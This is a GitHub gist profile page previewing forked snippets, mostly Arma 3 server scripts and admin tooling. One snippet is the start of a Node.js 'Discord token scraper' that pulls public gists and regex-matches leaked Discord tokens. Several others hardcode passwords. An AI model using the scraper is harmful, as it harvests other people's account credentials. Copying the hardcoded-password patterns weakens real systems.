Skip to content

Instantly share code, notes, and snippets.

View wallopthecat's full-sized avatar
🎯
Focusing

Wallop wallopthecat

🎯
Focusing
  • Mom's basement
View GitHub Profile
@wallopthecat
wallopthecat / SteamUpdateMods.py
Created June 16, 2017 19:34 — forked from firefly2442/SteamUpdateMods.py
AlphaSquad Arma3 Server Update via Steam Workshop
#!/usr/bin/env python
import subprocess, sys, os
STEAM_USERNAME = "steamusername"
STEAM_PASSWORD = "steampassword"
WORKSHOP_IDS = [["843425103", "@rhsafrf"],
["843593391", "@rhsgref"],
@echo off
COLOR 0B
TITLE Arma 3 Server Auto Restarter
SETLOCAL EnableExtensions enabledelayedexpansion
set EXE=arma3server_x64.exe
set /A restartCounter=0
rem Change this to the amount of Minutes you want the server to restart each time.
Set minutesToRestart=240
@wallopthecat
wallopthecat / restart.pl
Created July 11, 2017 16:35 — forked from marvin/restart.pl
TBH Arma3 Greuh Liberation restart script
#!/usr/bin/perl
use warnings;
use strict;
use constant PORT => 2302;
use constant PATH => $ENV{'PWD'}.'/';
use constant PIDFILE => PATH.PORT.'.pid';
use constant HCPIDFILE => PATH.PORT.'.hcpid';
@wallopthecat
wallopthecat / connect.ps1
Created November 26, 2017 20:15 — forked from jdforsythe/connect.ps1
Remote Desktop Auto Login Powershell Script
echo "Connecting to 192.168.1.100"
$Server="192.168.1.100"
$User="Administrator"
$Password="AdminPassword"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server
@wallopthecat
wallopthecat / vzdump-hook-script.pl
Created May 14, 2018 19:15
Perl script that uploads backup files to cloud storage using rclone, removes backups older then 1 week.
#!/usr/bin/perl -w
# example hook script for vzdump (--script option)
use strict;
print "HOOK: " . join (' ', @ARGV) . "\n";
my $phase = shift;
@wallopthecat
wallopthecat / server.cfg_snipped
Created July 6, 2018 16:32 — forked from igeighty/server.cfg_snipped
greuh_liberation.Altis mission parameters section for inclusion in server.cfg for ARMA3 server
// MISSIONS CYCLE
class Missions
{
class Liberation
{
template = "greuh_liberation.Altis";
difficulty = "regular"; // values = [recruit,regular,veteran,custom]
class Params
{
Unitcap = 1; // Maximum amount AI units - [default 1] - values = [0.5,0.75,1,1.25,1.5,2] - Text {50%,%75,%100,%125,%150,%200}
@wallopthecat
wallopthecat / mysql-docker.sh
Created July 9, 2018 00:08 — forked from spalladino/mysql-docker.sh
Backup and restore a mysql database from a running Docker mysql container
# Backup
docker exec CONTAINER /usr/bin/mysqldump -u root --password=root DATABASE > backup.sql
# Restore
cat backup.sql | docker exec -i CONTAINER /usr/bin/mysql -u root --password=root DATABASE
@wallopthecat
wallopthecat / index.html
Created February 7, 2019 02:14 — forked from seancdavis/index.html
Full-Size, Looping Background Video with YouTube Video
<style>
.bg-video {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
overflow: hidden;
z-index: -1;
}
@wallopthecat
wallopthecat / scrape.js
Created May 8, 2019 15:11 — forked from y21/scrape.js
Discord token scraper (gists)
const fetch = require("node-fetch");
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g;
fetch("https://api.github.com/gists")
.then(r => r.json())
.then(r => {
for (const gist of r) {
fetch(gist.files[Object.keys(gist.files)[0]].raw_url)
.then(rr => rr.text())
.then(rr => {
@wallopthecat
wallopthecat / docker-compose.yml
Created November 25, 2019 15:34 — forked from anlek/docker-compose.yml
Setting up error page for traefik and it's applications
app:
image: my/webapp:latest
labels:
- "traefik.enable=true"
- "traefik.frontend.rule=Host:supercoolapp.com"
- "traefik.frontend.errors.network.backend=error"
- "traefik.frontend.errors.network.query=/{status}.html"
- "traefik.frontend.errors.network.status=500-511"
- "traefik.port=3000"
error_pages: